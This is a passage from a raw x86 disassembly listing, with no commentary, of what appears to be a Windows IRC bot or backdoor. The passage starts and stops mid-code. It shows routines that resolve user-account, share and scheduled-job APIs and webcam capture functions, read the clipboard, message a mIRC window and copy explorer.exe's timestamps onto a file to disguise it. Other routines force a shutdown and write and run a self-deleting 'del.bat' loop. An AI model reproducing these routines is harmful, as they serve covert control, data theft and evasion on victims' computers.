sub_409658+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A08E push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_43EA24, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43E9FC, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43EA70, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43EAA4, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43EBB4, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43EA5C, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_43EA08, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43E9F8, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43EA8C, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43EB7C, eax call esi ; GetProcAddress cmp dword_43EA24, ebx mov dword_43EB34, eax jz short loc_40A099 cmp dword_43E9FC, ebx jz short loc_40A099 cmp dword_43EA70, ebx jz short loc_40A099 cmp dword_43EAA4, ebx jz short loc_40A099 cmp dword_43EBB4, ebx jz short loc_40A099 cmp dword_43EA5C, ebx jz short loc_40A099 cmp dword_43EA08, ebx jz short loc_40A099 cmp dword_43E9F8, ebx jz short loc_40A099 cmp dword_43EA8C, ebx jz short loc_40A099 cmp dword_43EB7C, ebx jz short loc_40A099 cmp eax, ebx jnz short loc_40A0A3 jmp short loc_40A099 ; --------------------------------------------------------------------------- loc_40A08E: ; CODE XREF: sub_409658+94Bj call dword_42308C ; RtlGetLastWin32Error mov dword_43EC1C, eax loc_40A099: ; CODE XREF: sub_409658+9E6j ; sub_409658+9EEj ... mov dword_43EC18, 1 loc_40A0A3: ; CODE XREF: sub_409658+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A0D8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43EA4C, eax call esi ; GetProcAddress cmp dword_43EA4C, ebx mov dword_43EB1C, eax jz short loc_40A0E3 cmp eax, ebx jnz short loc_40A0ED jmp short loc_40A0E3 ; --------------------------------------------------------------------------- loc_40A0D8: ; CODE XREF: sub_409658+A56j call dword_42308C ; RtlGetLastWin32Error mov dword_43EC24, eax loc_40A0E3: ; CODE XREF: sub_409658+A78j ; sub_409658+A7Ej mov dword_43EC20, 1 loc_40A0ED: ; CODE XREF: sub_409658+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A122 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43EBA0, eax call esi ; GetProcAddress cmp dword_43EBA0, ebx mov dword_43EB9C, eax jz short loc_40A12D cmp eax, ebx jnz short loc_40A137 jmp short loc_40A12D ; --------------------------------------------------------------------------- loc_40A122: ; CODE XREF: sub_409658+AA0j call dword_42308C ; RtlGetLastWin32Error mov dword_43EC2C, eax loc_40A12D: ; CODE XREF: sub_409658+AC2j ; sub_409658+AC8j mov dword_43EC28, 1 loc_40A137: ; CODE XREF: sub_409658+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A196 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43EBCC, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43EBC4, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43EB8C, eax call esi ; GetProcAddress cmp dword_43EBCC, ebx mov dword_43EA64, eax jz short loc_40A1A1 cmp dword_43EBC4, ebx jz short loc_40A1A1 cmp dword_43EB8C, ebx jz short loc_40A1A1 cmp eax, ebx jnz short loc_40A1AB jmp short loc_40A1A1 ; --------------------------------------------------------------------------- loc_40A196: ; CODE XREF: sub_409658+AEAj call dword_42308C ; RtlGetLastWin32Error mov dword_43EC34, eax loc_40A1A1: ; CODE XREF: sub_409658+B26j ; sub_409658+B2Ej ... mov dword_43EC30, 1 loc_40A1AB: ; CODE XREF: sub_409658+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A1E0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43EA98, eax call esi ; GetProcAddress cmp dword_43EA98, ebx mov dword_43EB98, eax jz short loc_40A1EB cmp eax, ebx jnz short loc_40A1F5 jmp short loc_40A1EB ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_409658+B5Ej call dword_42308C ; RtlGetLastWin32Error mov dword_43EC3C, eax loc_40A1EB: ; CODE XREF: sub_409658+B80j ; sub_409658+B86j mov dword_43EC38, 1 loc_40A1F5: ; CODE XREF: sub_409658+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A27E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43EB60, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43EBAC, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43EAE8, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43EAA8, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43EB40, eax call esi ; GetProcAddress cmp dword_43EB60, ebx mov dword_43EAB4, eax jz short loc_40A289 cmp dword_43EBAC, ebx jz short loc_40A289 cmp dword_43EAE8, ebx jz short loc_40A289 cmp dword_43EAA8, ebx jz short loc_40A289 cmp dword_43EB40, ebx jz short loc_40A289 cmp eax, ebx jnz short loc_40A293 jmp short loc_40A289 ; --------------------------------------------------------------------------- loc_40A27E: ; CODE XREF: sub_409658+BA8j call dword_42308C ; RtlGetLastWin32Error mov dword_43EC44, eax loc_40A289: ; CODE XREF: sub_409658+BFEj ; sub_409658+C06j ... mov dword_43EC40, 1 loc_40A293: ; CODE XREF: sub_409658+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A2C8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43EA7C, eax call esi ; GetProcAddress cmp dword_43EA7C, ebx mov dword_43EB54, eax jz short loc_40A2D3 cmp eax, ebx jnz short loc_40A2DD jmp short loc_40A2D3 ; --------------------------------------------------------------------------- loc_40A2C8: ; CODE XREF: sub_409658+C46j call dword_42308C ; RtlGetLastWin32Error mov dword_43EC4C, eax loc_40A2D3: ; CODE XREF: sub_409658+C68j ; sub_409658+C6Ej mov dword_43EC48, 1 loc_40A2DD: ; CODE XREF: sub_409658+C6Cj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_409658 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2E5 proc near ; CODE XREF: sub_40EC43+575Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43EBE0, esi push edi mov edi, [ebp+arg_8] jz short loc_40A32D push dword_43EBE4 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A32D: ; CODE XREF: sub_40A2E5+1Aj cmp dword_43EBE8, esi jz short loc_40A361 push dword_43EBEC lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A361: ; CODE XREF: sub_40A2E5+4Ej cmp dword_43EBF0, esi jz short loc_40A395 push dword_43EBF4 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A395: ; CODE XREF: sub_40A2E5+82j cmp dword_43EBF8, esi jz short loc_40A3C9 push dword_43EBFC lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A3C9: ; CODE XREF: sub_40A2E5+B6j cmp dword_43EC00, esi jz short loc_40A3FD push dword_43EC04 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A3FD: ; CODE XREF: sub_40A2E5+EAj cmp dword_43EC08, esi jz short loc_40A431 push dword_43EC0C lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A431: ; CODE XREF: sub_40A2E5+11Ej cmp dword_43EC10, esi jz short loc_40A465 push dword_43EC14 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A465: ; CODE XREF: sub_40A2E5+152j cmp dword_43EC18, esi jz short loc_40A499 push dword_43EC1C lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A499: ; CODE XREF: sub_40A2E5+186j cmp dword_43EC20, esi jz short loc_40A4CD push dword_43EC24 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A4CD: ; CODE XREF: sub_40A2E5+1BAj cmp dword_43EC28, esi jz short loc_40A501 push dword_43EC2C lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A501: ; CODE XREF: sub_40A2E5+1EEj cmp dword_43EC30, esi jz short loc_40A535 push dword_43EC34 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A535: ; CODE XREF: sub_40A2E5+222j cmp dword_43EC38, esi jz short loc_40A569 push dword_43EC3C lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A569: ; CODE XREF: sub_40A2E5+256j cmp dword_43EC40, esi jz short loc_40A59D push dword_43EC44 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A59D: ; CODE XREF: sub_40A2E5+28Aj cmp dword_43EC48, esi jz short loc_40A5D1 push dword_43EC4C lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_416FB6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 20h loc_40A5D1: ; CODE XREF: sub_40A2E5+2BEj lea eax, [ebp+var_200] push offset dword_42C960 push eax call sub_416FB6 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A5FE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D476 add esp, 14h loc_40A5FE: ; CODE XREF: sub_40A2E5+302j lea eax, [ebp+var_200] push eax call sub_40BD8D pop ecx pop edi pop esi pop ebx leave retn sub_40A2E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A610 proc near ; CODE XREF: sub_40EC43+BEEp ; sub_40EC43+C1Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A69B mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A69B cmp [ebp+arg_8], esi jz short loc_40A69B cmp byte ptr [eax], 0 jz short loc_40A69B push ebx push edi call sub_422450 mov ebx, eax pop ecx test ebx, ebx jz short loc_40A696 push [ebp+arg_4] push edi call sub_417580 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A68F sub eax, edi push eax push edi push ebx call sub_418910 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_4177B0 push eax push [ebp+arg_8] push ebx call sub_418AE0 push [ebp+arg_4] call sub_4177B0 add eax, esi push eax push ebx call sub_4176D0 push ebx push edi call sub_4176C0 add esp, 30h mov esi, edi loc_40A68F: ; CODE XREF: sub_40A610+3Cj push ebx call sub_41793B pop ecx loc_40A696: ; CODE XREF: sub_40A610+2Bj mov eax, esi pop ebx jmp short loc_40A69D ; --------------------------------------------------------------------------- loc_40A69B: ; CODE XREF: sub_40A610+Cj ; sub_40A610+13j ... xor eax, eax loc_40A69D: ; CODE XREF: sub_40A610+89j pop edi pop esi pop ebp retn sub_40A610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6A1 proc near ; CODE XREF: sub_40EAC7+E9p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_417030 mov esi, [ebp+arg_0] push esi call sub_4177B0 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_40A6D9 or eax, 0FFFFFFFFh jmp short loc_40A740 ; --------------------------------------------------------------------------- loc_40A6D9: ; CODE XREF: sub_40A6A1+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_40A6FA loc_40A6E5: ; CODE XREF: sub_40A6A1+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A6F2 cmp dl, 0Dh jnz short loc_40A6F5 loc_40A6F2: ; CODE XREF: sub_40A6A1+4Aj mov [ecx+esi], bl loc_40A6F5: ; CODE XREF: sub_40A6A1+4Fj inc ecx cmp ecx, eax jl short loc_40A6E5 loc_40A6FA: ; CODE XREF: sub_40A6A1+42j xor edx, edx cmp eax, ebx jle short loc_40A722 loc_40A700: ; CODE XREF: sub_40A6A1+7Fj cmp [edx+esi], bl jnz short loc_40A71D lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_40A71D cmp edi, 1F4h jge short loc_40A722 mov [ebp+edi*4+var_7D0], ecx inc edi loc_40A71D: ; CODE XREF: sub_40A6A1+62j ; sub_40A6A1+6Aj inc edx cmp edx, eax jl short loc_40A700 loc_40A722: ; CODE XREF: sub_40A6A1+5Dj ; sub_40A6A1+72j cmp [ebp+arg_4], ebx jz short loc_40A73E lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417090 add esp, 0Ch loc_40A73E: ; CODE XREF: sub_40A6A1+84j mov eax, edi loc_40A740: ; CODE XREF: sub_40A6A1+36j pop edi pop esi pop ebx leave retn sub_40A6A1 endp ; =============== S U B R O U T I N E ======================================= sub_40A745 proc near ; CODE XREF: sub_40A79F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A77E push ebx mov ebx, edi loc_40A762: ; CODE XREF: sub_40A745+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A781 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A762 pop ebx loc_40A77E: ; CODE XREF: sub_40A745+18j pop edi pop esi retn sub_40A745 endp ; =============== S U B R O U T I N E ======================================= sub_40A781 proc near ; CODE XREF: sub_40A745+25p ; sub_40A79F+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_418E01 cmp al, 61h pop ecx jl short loc_40A79C cmp al, 7Ah jg short loc_40A79C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A79C: ; CODE XREF: sub_40A781+Ej ; sub_40A781+12j xor eax, eax retn sub_40A781 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A79F proc near ; CODE XREF: sub_40BE6E+10p ; sub_40BEA0+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417830 push ebx push esi push edi push [ebp+arg_0] call sub_4177B0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_4177B0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A745 add esp, 14h dec esi mov edi, esi jmp short loc_40A851 ; --------------------------------------------------------------------------- loc_40A7DF: ; CODE XREF: sub_40A79F+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_418E01 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_418E01 pop ecx cmp eax, ebx pop ecx jz short loc_40A84F loc_40A801: ; CODE XREF: sub_40A79F+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A781 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A822 mov eax, ecx loc_40A822: ; CODE XREF: sub_40A79F+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_40A85F mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_418E01 movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_418E01 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A801 loc_40A84F: ; CODE XREF: sub_40A79F+60j dec edi dec esi loc_40A851: ; CODE XREF: sub_40A79F+3Ej test esi, esi jg short loc_40A7DF mov eax, [ebp+arg_0] add eax, edi loc_40A85A: ; CODE XREF: sub_40A79F+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A85F: ; CODE XREF: sub_40A79F+88j xor eax, eax jmp short loc_40A85A sub_40A79F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A863 proc near ; CODE XREF: sub_40EC43+3C43p ; sub_40EC43+4AECp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_42308C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_423104 ; FormatMessageA loc_40A896: ; DATA XREF: .data:0042746Co ; .data:004274B0o ... lea eax, [ebp+var_100] loc_40A89C: ; CODE XREF: sub_40A863+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40A8A8 cmp cl, 9 jnz short loc_40A8AB loc_40A8A8: ; CODE XREF: sub_40A863+3Ej inc eax jmp short loc_40A89C ; --------------------------------------------------------------------------- loc_40A8AB: ; CODE XREF: sub_40A863+43j ; sub_40A863+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40A8C5 mov cl, [eax] cmp cl, 2Eh jz short loc_40A8AB cmp cl, 21h jl short loc_40A8AB loc_40A8C5: ; CODE XREF: sub_40A863+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43EC50 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41752A add esp, 18h mov eax, esi pop esi leave retn sub_40A863 endp ; =============== S U B R O U T I N E ======================================= sub_40A8ED proc near ; CODE XREF: sub_40EC43+56EAp push esi push 0 call dword_43EAF4 ; OpenClipboard test eax, eax jz short loc_40A924 push 1 call dword_43EB14 ; GetClipboardData mov esi, eax test esi, esi jz short loc_40A924 push edi push esi call dword_42310C ; GlobalLock push esi mov edi, eax call dword_423108 ; GlobalUnlock call dword_43EB78 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40A924: ; CODE XREF: sub_40A8ED+Bj ; sub_40A8ED+19j xor eax, eax pop esi retn sub_40A8ED endp ; =============== S U B R O U T I N E ======================================= sub_40A928 proc near ; CODE XREF: sub_40EC43+4896p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43EB30 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_40A9A4 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_423114 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_423000 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_416FB6 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43EB80 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_43EB80 ; SendMessageA push ebx call dword_423110 ; UnmapViewOfFile push edi call dword_423078 ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_40A9A6 ; --------------------------------------------------------------------------- loc_40A9A4: ; CODE XREF: sub_40A928+16j xor eax, eax loc_40A9A6: ; CODE XREF: sub_40A928+7Aj pop edi pop esi pop ebp retn sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9AA proc near ; CODE XREF: sub_40E48A+200p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43EBDC ; SearchPathA test eax, eax jz short loc_40AA49 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_423084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AA49 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_42311C ; GetFileTime push ebx mov ebx, dword_423078 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AA49 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_423118 ; SetFileTime push esi call ebx ; CloseHandle loc_40AA49: ; CODE XREF: sub_40A9AA+2Aj ; sub_40A9AA+51j ... pop edi pop esi pop ebx leave retn sub_40A9AA endp ; =============== S U B R O U T I N E ======================================= sub_40AA4E proc near ; CODE XREF: sub_40EC43+133Ap push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_414EAB pop ecx pop ecx push 50005h push 6 call dword_43EA6C ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_40AA4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA70 proc near ; CODE XREF: sub_40C90D+45Fp ; sub_40EC43+5986p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42E918, esi push edi jz short loc_40AA94 cmp dword_43EBF0, esi jnz short loc_40AA94 push esi call sub_40BFCF pop ecx loc_40AA94: ; CODE XREF: sub_40AA70+13j ; sub_40AA70+1Bj call sub_416C3D lea eax, [ebp+var_764] push eax push 400h call dword_42312C ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_416FB6 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_423084 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_40ABF4 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_416FB6 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_42307C ; WriteFile push edi call dword_423078 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_417030 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417030 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43BCE8 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_423100 ; GetModuleHandleA push eax call dword_423094 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4230A8 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40AB9C lea eax, [ebp+var_15C] push 80h push eax call dword_423128 ; SetFileAttributesA loc_40AB9C: ; CODE XREF: sub_40AA70+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_416FB6 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_423124 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_423120 ; CreateProcessA loc_40ABF4: ; CODE XREF: sub_40AA70+72j pop edi pop esi leave retn sub_40AA70 endp ; =============== S U B R O U T I N E ======================================= sub_40ABF8 proc near ; CODE XREF: sub_4013E8+7p ; sub_401985+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43EB64 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AC20 push [esp+arg_0] call dword_43EBA8 ; gethostbyname test eax, eax jnz short loc_40AC19 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AC19: ; CODE XREF: sub_40ABF8+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AC20: ; CODE XREF: sub_40ABF8+Dj retn sub_40ABF8 endp ; =============== S U B R O U T I N E ======================================= sub_40AC21 proc near ; CODE XREF: sub_40E961+D6p mov ecx, dword_43EA4C xor eax, eax test ecx, ecx jz short locret_40AC2F jmp ecx ; --------------------------------------------------------------------------- locret_40AC2F: ; CODE XREF: sub_40AC21+Aj retn sub_40AC21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC30 proc near ; CODE XREF: sub_40EC43:loc_4142DFp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43EBA0 ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40ACB7 sub ecx, 32h jz loc_40AD01 sub ecx, 48h jz short loc_40AC8C sub ecx, 6Eh jz short loc_40AC85 loc_40AC6E: ; CODE XREF: sub_40AC30+85j push eax lea eax, [ebp+var_88] push offset unk_42CC58 push eax call sub_416FB6 add esp, 0Ch jmp short loc_40ACE2 ; --------------------------------------------------------------------------- loc_40AC85: ; CODE XREF: sub_40AC30+3Cj push offset dword_42CC24 jmp short loc_40ACD4 ; --------------------------------------------------------------------------- loc_40AC8C: ; CODE XREF: sub_40AC30+37j push [ebp+var_8] call sub_417889 push 